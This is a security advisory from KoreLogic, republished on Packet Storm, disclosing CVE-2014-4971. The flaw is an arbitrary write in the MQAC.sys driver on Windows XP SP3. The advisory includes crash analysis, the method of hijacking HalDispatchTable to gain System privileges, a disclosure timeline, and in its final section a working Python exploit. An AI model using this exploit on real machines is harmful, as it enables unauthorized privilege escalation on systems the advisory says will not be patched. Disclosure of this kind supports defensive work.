Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation

2014-07-21T00:00:00
ID PACKETSTORM:127536
Type packetstorm
Reporter Matthew Bergin
Modified 2014-07-21T00:00:00

Description

                                        
                                            `Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation  
Advisory ID: KL-001-2014-003  
Publication Date: 2014.07.18  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Microsoft  
Affected Product: MQ Access Control  
Affected Versions: 5.1.0.1110  
Platform: Microsoft Windows XP SP3  
CWE Classification: CWE-123: Write-what-where Condition  
Impact: Privilege Escalation  
Attack vector: IOCTL  
CVE ID: CVE-2014-4971  
  
2. Vulnerability Description  
  
A vulnerability within the MQAC module allows an attacker to  
inject memory they control into an arbitrary location they  
define. This can be used by an attacker to overwrite  
HalDispatchTable+0x4 and execute arbitrary code by subsequently  
calling NtQueryIntervalProfile.  
  
3. Technical Description  
  
A userland process can create a handle into the MQAC device and  
subsequently make DeviceIoControlFile() calls into that device.  
During the IRP handler routine for 0x1965020f the user provided  
OutputBuffer address is not validated. This allows an attacker  
to specify an arbitrary address and write (or overwrite) the  
memory residing at the specified address. This is classically  
known as a write-what-where vulnerability and has well known  
exploitation methods associated with it.  
  
A stack trace from our fuzzing can be seen below. In our  
fuzzing testcase, the specified OutputBuffer in the  
DeviceIoControlFile() call is 0xffff0000.  
  
STACK_TEXT:   
b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b  
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7  
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc  
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d  
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d  
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31  
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70  
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7  
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a  
  
Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'  
command shows the fault originating in the mqac driver.  
  
OLLOWUP_IP:   
mqac!AC2QM+5d  
b230af37 891e mov dword ptr [esi],ebx  
  
Reviewing the TRAP_FRAME at the time of crash we can see  
IopCompleteRequest() copying data from InputBuffer into the  
OutputBuffer. InputBuffer is another parameter provided to the  
DeviceIoControlFile() function and is therefore controllable by  
the attacker. The edi register contains the invalid address  
provided during the fuzz testcase.  
  
TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4)  
ErrCode = 00000002  
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000  
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246  
mqac!AC2QM+0x5d:  
b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=????????  
  
A write-what-where vulnerability can be leveraged to obtain  
escalated privileges. To do so, an attacker will need to  
allocate memory in userland that is populated with shellcode  
designed to find the Token for PID 4 (System) and then overwrite  
the token for its own process. By leveraging the vulnerability  
in MQAC it is then possible to overwrite the pointer at  
HalDispatchTable+0x4 with a pointer to our shellcode. Calling  
NtQueryIntervalProfile() will subsequently call  
HalDispatchTable+0x4, execute our shellcode, and elevate the  
privilege of the exploit process.  
  
4. Mitigation and Remediation Recommendation  
  
None. A patch is not likely to be forthcoming from the vendor.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin of KoreLogic  
Security, Inc.  
  
6. Disclosure Timeline  
  
2014.04.28 - Initial contact; sent Microsoft report and PoC.  
2014.04.28 - Microsoft acknowledges receipt of vulnerability  
report; states XP is no longer supported and asks if  
the vulnerability affects other versions of Windows.  
2014.04.29 - KoreLogic asks Microsoft for clarification of their  
support policy for XP.  
2014.04.29 - Microsoft says XP-only vulnerabilities will not be  
addressed with patches.  
2014.04.29 - KoreLogic asks if Microsoft intends to address the  
vulnerability report.  
2014.04.29 - Microsoft opens case to investigate the impact of the  
vulnerability on non-XP systems.  
2014.05.06 - Microsoft asks again if this vulnerability affects  
non-XP systems.  
2014.05.14 - KoreLogic informs Microsoft that the vulnerability  
report is for XP and other Windows versions have  
not been examined.  
2014.06.11 - KoreLogic informs Microsoft that 30 business days  
have passed since vendor acknowledgement of the  
initial report. KoreLogic requests CVE number for the  
vulnerability, if there is one. KoreLogic also  
requests vendor's public identifier for the  
vulnerability along with the expected disclosure date.  
2014.06.11 - Microsoft responds to KoreLogic that the  
vulnerability does not affect an "up-platform"  
product. Says they are investigating embedded  
platforms. Does not provide a CVE number or a  
disclosure date.  
2014.06.30 - KoreLogic asks Microsoft for confirmation of their  
receipt of the updated PoC. Also requests that  
a CVE ID be issued to this vulnerability.  
2014.07.02 - 45 business days have elapsed since Microsoft  
acknowledged receipt of the vulnerability report and  
PoC.  
2014.07.07 - KoreLogic requests CVE from MITRE.  
2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to  
be identical to KL-001-2014-002 and issues  
CVE-2014-4971 for both vulnerabilities.  
2014.07.18 - Public disclosure.  
  
7. Proof of Concept  
  
#!/usr/bin/python2  
#  
# KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation  
# Matt Bergin (KoreLogic / Smash the Stack)  
# CVE-2014-4971  
#  
from ctypes import *  
from struct import pack  
from os import getpid,system  
from sys import exit  
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA  
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle  
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0  
  
# thanks to offsec for the concept  
# I re-wrote the code as to not fully insult them :)  
def getBase(name=None):  
retArray = c_ulong*1024  
ImageBase = retArray()  
callback = c_int(1024)  
cbNeeded = c_long()  
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))  
for base in ImageBase:  
driverName = c_char_p("\x00"*1024)  
GetDeviceDriverBaseNameA(base,driverName,48)  
if (name):  
if (driverName.value.lower() == name):  
return base  
else:  
return (base,driverName.value)  
return None  
  
handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)  
print "[+] Handle \\\\.\\MQAC @ %s" % (handle)  
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)  
buf = "\x50\x00\x00\x00"+"\x90"*0x400  
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))  
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))  
WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))  
#Overwrite Pointer  
kBase,kVer = getBase()  
hKernel = LoadLibraryExA(kVer,0,1)  
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")  
HalDispatchTable -= hKernel  
HalDispatchTable += kBase  
HalDispatchTable += 0x4  
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))  
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0)  
print "[+] HalDispatchTable+0x4 overwritten"  
CloseHandle(handle)  
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))  
exit(0)  
  
The contents of this advisory are copyright(c) 2014  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt  
  
`